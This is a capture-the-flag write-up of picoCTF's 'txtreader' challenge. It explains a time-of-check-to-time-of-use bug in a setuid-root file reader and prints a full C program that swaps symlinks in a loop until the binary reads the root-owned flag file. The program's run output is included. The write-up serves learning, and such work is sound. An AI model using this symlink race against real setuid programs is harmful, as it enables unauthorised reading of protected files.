200 points
Category: Binary Exploitation
Tags : #setuid #toctou
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
ssh to saturn.picoctf.net:<port>
, and run the binary named txtreader
once connected. Login as ctf-player with the supplied password.
Listing the contents of the home folder on the instance we see :
drwxr-xr-x 1 ctf-player ctf-player 20 Mar 19 12:02 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 19 12:02 .cache
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19016 Mar 16 02:28 txtreader
txtreader
binary is owned by root and has the setuid
bit set, such that it will run with the effective user ID of root
. The flag.txt
file is also owned by root
and is not accessible by others.
Executing txtreader
to attempt to read the flag file yields :
ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file
Analysing the src.cpp
source provided (snippet below), we can see why despite having our privileges elevated by the setuid
binary bit, the ownership of the input file is checked by txtreader
via a call to stat()
to get the owner of the input file and a comparison with the results of getuid()
. This fails because our effective user ID is elevated (returned by geteuid()
) but not our actual user ID returned via getuid()
.
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
Looking more carefully at this sequence, the target file is firstly opened via the std::ifstream
constructor using the provided filename (commandline argument) ready for use, and then stat()
is called, also using the provided filename. There is no direct association between the two, by that I mean stat()
is not using the file descriptor of the open file for example. They are two discrete steps, with the only thing in common the requested filename string. Therefore there is a Time Of Check to Time Of Use (TOCTOU) bug.
If we can leverage the fraction of time between opening the flag file and then checking its ownership by creating a race condition to exploit the TOCTOU, we can bypass the getuid()
check.
Desired sequence of events (race condition) :
open(file == flag-file)
...
< swap flag-file (owned by root) with dummy-file (owned by user) >
...
stat(file == dummy-file)
getuid() == owner of dummy-file
So how do we swap files but keep the filename (commandline argument) the same? We use the file system's symbolic links feature.
The fraction of exploitable time would be small, so I went with a C-program to automate this process within a loop until the race condition was hit.
Plan of attack :
- create a user owned
dummy_flag.txt
file, with some dummy contents - create a symbolic link to the
flag.txt
file owned by root - fork and exec the
txtreader
binary, redirecting its standard ouput to anoutput.txt
file so we can check if we were successful - introduce a minor delay in the parent process (simple busy loop sufficed) to allow
txtreader
process to have reached and executed the open() 1 - remove the
target.txt
symbolic link and recreate it linking to the user owneddummy_flag.txt
, hopefully in time for the stat() and subsequent getuid() check - check the output from
txtreader
, loop back to step 2 and try again if we didn't hit the race condition (nopicoCTF
in output)
Final (rough and ready) program used to drop the flag during the event, pasted into a file and compiled on the target instance :
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>
#include <fcntl.h>
#include <string.h>
int
main (void)
{
// create the dummy flag file
FILE *fp = fopen ("./dummy_flag.txt", "w");
if (!fp)
{
return 1;
}
fputs("dummyFlag{just_a_place_holder}", fp);
fclose(fp);
// start the attack
bool droppedFlag = false;
do
{
// link target to the root owned flag file, opened first
unlink("./target.txt");
symlink("./flag.txt", "./target.txt");
pid_t pid = fork();
if (pid == 0)
{
// child process
// standard out redirect
int out_fd = open("output.txt", O_WRONLY|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
dup2(out_fd, STDOUT_FILENO);
dup2(out_fd, STDERR_FILENO);
close(out_fd);
execlp("./txtreader", "./txtreader", "./target.txt", NULL);
}
volatile int delay = 0;
for (delay = 0; delay < 500000;)
{
delay = ((delay * 100) / (200 / 2)) + 1;
}
// race condition: replace the link to root owned flag.txt, with user owned
// dummy flag file, hopefully before the file stat() request to check getuid()
unlink("./target.txt");
symlink("./dummy_flag.txt", "./target.txt");
// wait for setuid binary to complete
int status;
waitpid(pid, &status, 0);
// read redirected output, check if flag was dumped
fp = fopen("./output.txt", "r");
if (fp)
{
char buf[50];
buf[0] = '\0';
fgets(buf, 50, fp);
if (strncmp(buf, "picoCTF", 7) == 0)
{
droppedFlag = true;
}
printf("%s", buf);
while (fgets(buf, 50, fp) != NULL)
{
printf("%s", buf);
buf[0] = '\0';
}
fclose(fp);
}
}
while(!droppedFlag);
return 0;
}
Output from the event :
ctf-player@pico-chall$ ./pwn
Error: you don't own this file
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
Error: you don't own this file
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
Error: you don't own this file
dummyFlag{just_a_place_holder}
Error: you don't own this file
Error: you don't own this file
Error: you don't own this file
Error: Could not retrieve file information
dummyFlag{just_a_place_holder}
Error: Could not retrieve file information
Error: you don't own this file
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
Error: you don't own this file
Error: you don't own this file
Error: you don't own this file
picoCTF{....<redacted>.........}
Footnotes
-
Step 4 was added to tweak delays slightly, initially the parent process was observed to be unlinking the flag file too quickly (output was mostly my dummy flag
"dummyFlag{just_a_place_holder}"
or very occasionally"Error: Could not retrieve file information"
meaning the file switcheroo was still in process) as the forked process required time to execute. ↩